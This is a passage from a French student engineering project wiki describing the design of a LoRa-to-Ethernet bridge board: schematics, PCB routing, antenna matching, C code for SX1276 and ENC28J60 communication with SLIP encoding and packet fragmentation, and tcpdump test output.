Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa avec des résistances de 220 Ω.&lt;br /&gt;
&lt;br /&gt;
Pour la réalisation de la carte, nous utiliserons un adaptateurs de niveaux.&lt;br /&gt;
&lt;br /&gt;
// photo tx0108&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Après configurations des registres pour la modulation LoRa, nous avons alors écrit le code pour gérer l'émission et la réception.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---- Module Server (chargé de l'émission)-----&lt;br /&gt;
&lt;br /&gt;
Les registres sont configurés en mode 'Sleep'.  Ensuite on remplit le buffer FIFO des données à transmettre. &lt;br /&gt;
Pour effectuer une transmission,il faut d'abord faire une demande du mode de transmission (en d'autres mots configurer le registre des modes du sx1276), car lorsque la transmission est effectuée le sx1276 se met automatiquement en mode sleep.&lt;br /&gt;
A la fin de la transmission, l'interruption TXDone est levée.&lt;br /&gt;
&lt;br /&gt;
Voici le code :&lt;br /&gt;
int main() {&lt;br /&gt;
        mode                    = 0x01;&lt;br /&gt;
        Freq_Sel                = 0x00;&lt;br /&gt;
        Power_Sel               = 0x00;&lt;br /&gt;
        Lora_Rate_Sel           = 0x01;&lt;br /&gt;
        BandWide_Sel            = 0x08;&lt;br /&gt;
        Fsk_Rate_Sel            = 0x00;&lt;br /&gt;
        init_printf();&lt;br /&gt;
        spi_init();&lt;br /&gt;
        setup();&lt;br /&gt;
        printf(&amp;quot;####################\nLoRa-Server\n####################\n&amp;quot;);&lt;br /&gt;
        sx1276_Config();&lt;br /&gt;
        int T = 84;&lt;br /&gt;
        int loopCnt = 0;&lt;br /&gt;
        unsigned char paquet[T];&lt;br /&gt;
        unsigned char fragment[MAX_FRAGMENT+1];&lt;br /&gt;
        unsigned char m=0;&lt;br /&gt;
        unsigned char inc;&lt;br /&gt;
        unsigned char i;&lt;br /&gt;
        int left;&lt;br /&gt;
        while(1)&lt;br /&gt;
        {&lt;br /&gt;
                for (i=0;i&amp;lt;T;i++) paquet[i] = (0x61 + i+ loopCnt);&lt;br /&gt;
                sx1276_Mode();&lt;br /&gt;
                left=T;&lt;br /&gt;
                inc=0;&lt;br /&gt;
                while(1){&lt;br /&gt;
                        if(left&amp;gt;=MAX_FRAGMENT) m=MAX_FRAGMENT; else m=left;&lt;br /&gt;
                        left=left-m;&lt;br /&gt;
                        for(i=0;i&amp;lt;m;i++){&lt;br /&gt;
                                fragment[i] = paquet[i+inc*MAX_FRAGMENT];&lt;br /&gt;
                        }&lt;br /&gt;
                        inc++;&lt;br /&gt;
                        fragment[m] = ((left&amp;lt;=0)?0x40:0x00)|inc;&lt;br /&gt;
                         sx1276_LoRaEntryTx(m+1);&lt;br /&gt;
                        sx1276_LoRaTxPacket(fragment,m+1);&lt;br /&gt;
                        //digitalWrite(led,1);&lt;br /&gt;
                        _delay_ms(50);&lt;br /&gt;
                        //printf(&amp;quot;Messages being transmitted\n&amp;quot;);&lt;br /&gt;
                        for (i=0;i&amp;lt;m+1;i++){&lt;br /&gt;
                                printf(&amp;quot;%02x &amp;quot;,fragment[i]);&lt;br /&gt;
                                if(i%16==15) printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                        }&lt;br /&gt;
                        printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                        if(left&amp;lt;=0) break;&lt;br /&gt;
                        digitalWrite(led, 0);&lt;br /&gt;
                        loopCnt++;&lt;br /&gt;
                        //printf(&amp;quot;.............................\n&amp;quot;);&lt;br /&gt;
                       }&lt;br /&gt;
        }&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---- Module Client (chargé de la réception)-----&lt;br /&gt;
&lt;br /&gt;
De la même manière que pour l'émetteur, nous configurons le mode de reception continu.Lorsqu'un paquet est reçu, une interruption RxDone est levée et la pile FIFO peut être remplie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
  mode                  = 0x01;&lt;br /&gt;
  Freq_Sel              = 0x00;&lt;br /&gt;
  Power_Sel             = 0x00;&lt;br /&gt;
  Lora_Rate_Sel         = 0x01;&lt;br /&gt;
  BandWide_Sel          = 0x08;&lt;br /&gt;
  Fsk_Rate_Sel          = 0x00;&lt;br /&gt;
  init_printf();&lt;br /&gt;
  spi_init();&lt;br /&gt;
  setup();&lt;br /&gt;
  BlinkLed();&lt;br /&gt;
  printf(&amp;quot;\n\nHello I am LoRa Client\nWaiting for RX packet\n&amp;quot;);&lt;br /&gt;
  sx1276_Config();&lt;br /&gt;
  sx1276_LoRaEntryRx(MAX_FRAGMENT+1);&lt;br /&gt;
  unsigned char trameEthernet[MAX_ETHERNET];&lt;br /&gt;
 while(1) {&lt;br /&gt;
    unsigned char packet_size;&lt;br /&gt;
    unsigned char taille=0;&lt;br /&gt;
    unsigned char fragment[MAX_FRAGMENT+1];&lt;br /&gt;
    unsigned char i=0;&lt;br /&gt;
    unsigned char j=0;&lt;br /&gt;
    //sx1276_infos();&lt;br /&gt;
        if((packet_size=sx1276_LoRaRxPacket(fragment))!=0){&lt;br /&gt;
        unsigned char var=fragment[packet_size-1];&lt;br /&gt;
        unsigned char num_packet = (var&amp;amp;0x3F);&lt;br /&gt;
        unsigned char dernier_frag = (var&amp;amp;0xC0);&lt;br /&gt;
        int previous=(num_packet-1)*MAX_FRAGMENT;&lt;br /&gt;
        printf(&amp;quot;%d %d\n &amp;quot;,previous,packet_size);&lt;br /&gt;
        for(i=0;i&amp;lt;packet_size-1;i++) trameEthernet[previous+i]=fragment[i];&lt;br /&gt;
        if (dernier_frag==0x40){&lt;br /&gt;
                taille = previous+packet_size;&lt;br /&gt;
                printf(&amp;quot;trame Ethernet (%d) : \n&amp;quot;,taille);&lt;br /&gt;
        if (dernier_frag==0x40){&lt;br /&gt;
                taille = previous+packet_size;&lt;br /&gt;
                printf(&amp;quot;trame Ethernet (%d) : \n&amp;quot;,taille);&lt;br /&gt;
                for (j=0; j&amp;lt;taille; j++) {&lt;br /&gt;
                        printf(&amp;quot;%02x &amp;quot;,trameEthernet[j]);&lt;br /&gt;
                        if(j%16==15) printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                        }&lt;br /&gt;
                printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
      }&lt;br /&gt;
 }&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cependant, la modulation LoRa dépend fortement du facteur d'étalement, de la bande passante, et des données à envoyer. Le facteur d'étalement SF= 6 (spread factor) nécessite une configuration particulière des registres. &lt;br /&gt;
&lt;br /&gt;
NB : En mode LoRa, le nombre maximal d'octets qui peut être envoyé est de 255 octets. Ceci nous a conduit à fragmenter les paquets à envoyer(ou recevoir). Les données seront ensuite assemblés à la réception (côté Ethernet).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fragmentation des paquets LoRa&lt;br /&gt;
&lt;br /&gt;
Nous avons été confrontées au problème de taille maximale que pouvait transmettre le LoRa (nettement inférieure à la taille maximale du paquet Ethernet, pouvant aller jusqu’à 1500 octets).&lt;br /&gt;
&lt;br /&gt;
Le principe est de stocker les fragments de paquets Ethernet (&amp;lt;255 octets) jusqu’à la reconstitution complète du paquet initial.&lt;br /&gt;
&lt;br /&gt;
Principe:&lt;br /&gt;
&lt;br /&gt;
Lorsque le client reçoit un paquet, il examine le dernier octet :&lt;br /&gt;
&lt;br /&gt;
	▪	si IF = 0 : il ne s’agit pas du dernier fragment. Le client stocke le paquet dans un tableau( file d’attente de tous les paquets)&lt;br /&gt;
&lt;br /&gt;
	▪	si IF = 1 : le client place le paquet en fin de file du tableau.&lt;br /&gt;
	&lt;br /&gt;
Le client considère la file d'attente complète quand il a placé le premier et le dernier fragment et tous les fragments intermédiaires vérifiés par leur numéro de fragment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
------------Résultats des tests-------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:Loraemission.png|thumb|upright=1|Emission|400px]]&lt;br /&gt;
|[[Fichier:Lorareception.png|thumb|upright=1|Reception|450px]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
